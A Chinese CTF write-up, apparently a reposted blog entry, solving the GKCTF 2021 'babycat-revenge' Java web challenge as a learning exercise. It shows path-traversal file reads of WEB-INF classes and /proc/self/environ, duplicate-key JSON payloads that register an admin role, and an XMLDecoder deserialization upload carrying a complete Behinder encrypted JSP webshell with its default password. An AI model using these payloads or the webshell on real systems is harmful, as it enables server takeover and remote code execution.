栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

[GKCTF 2021]babycat-revenge

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

[GKCTF 2021]babycat-revenge

`[GKCTF 2021]babycat-revenge


一进入题目界面如上所示,简简单单,没法注册,登录试了下弱口令还有注入都不是,也没有什么其他页面

找不到线索就抓个包来看看

好家伙,这个注册页面的注册代码露出来了,大概意思是得传入username和password才能注册,默认是不传值所以无法使用

这里源代码显示传值得传json数据,且得是POST方式,参考了登陆时的json数据包来注册

注册成功后登录

又看到了熟悉的上传功能和下载功能,这里先抓包看看下载功能

这个包这个下载的文件路径,不用多说也知道,任意文件读取吧

这里它已经提示了网站的文件路径,这题的网站是Java写的,war包的结构就不多说了

查一查web.xml吧

可以看到有这么几个类,路径也告诉了,那就去把他们的代码下载下来吧

../../WEB-INF/classes/com/web/servlet/registerServlet.class


这里是乱码很正常,我们先把所有类文件都下载下来

这里拿jd-gui反编译看源代码

这些代码我大致看了下,问题应该是出在上传文件这里,但是有个问题就是你要想上传文件必须得role是admin

所以得回头看看登录和注册那里,怎么把role弄成admin

emem核心代码应该是注册时的这部分代码,这个代码大体意思是它会正则匹配我们注册时传入的json数据包的所有role部分

但因为他用的是while循环赋值到一个变量上,所以该变量实际上是匹配到的最后一个结果,如**{“username”:“admin”,“password”:“admin”,“role”:“admin”,“role”:“test”}**他匹配到的应该是"role":“test”,然后下面会把注册时传入的数据中的"role":"test"部分做替换,变成{“username”:“admin”,“password”:“admin”,“role”:“admin”,“role”:“guest”},这里应该就是漏洞点了。这里还需要注意的一点,role的值一定不能为空,不能让他正则匹配不到,因为如果它匹配不到下面会直接设置它为guest

这里实在没办法了,json和Java的做的不是很多,只能看看大佬的文章学习学习

这段是大佬文章里的原话,菜鸡只能说大佬牛逼,相关的json中的注释我搜了下也没有什么有用的消息,很好奇大佬的知识点是去哪里看到的haha

回到正题,大佬用的思想其实应该也是顺着上面我解析的那样得到的思路

思路一

既然这题要求一定要有role给正则匹配然后进行替换,那我们可以多传几个role,反正他也只会匹配一个进行替换,然后我们利用JSON解析的特性,json 中键值一样的数据解析时后面的会覆盖前面的,因此可以构造如下载荷。

{"username":"admin","password":"password","role":"test","role":"admin"}

这个载荷传入时正则只会匹配到"role":"test"然后替换,“role”:"admin"匹配不到是因为加了这个注释符已经不满足正则的匹配规则了,然后载荷变成如下

{"username":"admin","password":"password","role":"guest","role":"admin"}

接着gson解析json,上面也说了键值一样的数据解析时后面的会覆盖前面的,再加上是注释符会被忽略,所以解析出来的role就是admin

思路二

思路二和思路一利用的原理都一样,利用json不会解析注释内容以及必须要有role给正则匹配这一点,我们可以在注释中放一个role给正则匹配,这样并不影响json解析,因此构造载荷如下

{"username":"admin","password":"pass","role":"admin"}

选哪一个载荷都行,进行注册

然后登陆

接下来去看看上传部分的代码

这里看到好像有waf

这是上传文件白名单,允许上传的文件中有 xml 文件。

Java代码审计没咋做过,看了下WP是说看代码可以发现注册业务中导入了 com.web.dao.baseDao,在其源码中用到了方法 XMLDecoder。


其中 System.getenv(“CATALINA_HOME”) 可以使用前面的文件包含读取 /proc/self/environ 得到为 /usr/local/tomcat。因此可以尝试将 db.xml 覆盖为恶意代码后使用注册业务触发 XMLDecoder 反序列化。

上传业务中还对上传的内容执行了检测。

此时考虑使用 hint 中提到的 PrintWriter 去写入冰蝎的一句话,构造出如下载荷上传。
下面CDATA括起来的就是冰蝎的jsp木马



    
        /usr/local/tomcat/webapps/ROOT/static/shell.jsp
        
            <%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.base64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>]]>
        
        
    


传上去后还需要再注册一个账户触发漏洞,然后用冰蝎连接,密码默认为rebeyond


总结
Java的代码审计做的还是太少了,Java反序列化也不是很熟,搜了一下XMLDecoder在JDK 1.4~JDK 11中都存在反序列化漏洞安全风险。看来以后还得多多做一些Java反序列化的题目。

参考文章
https://www.lemonprefect.cn/zh-CN/posts/751c0b7.html#babycat-revenge

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/531647.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号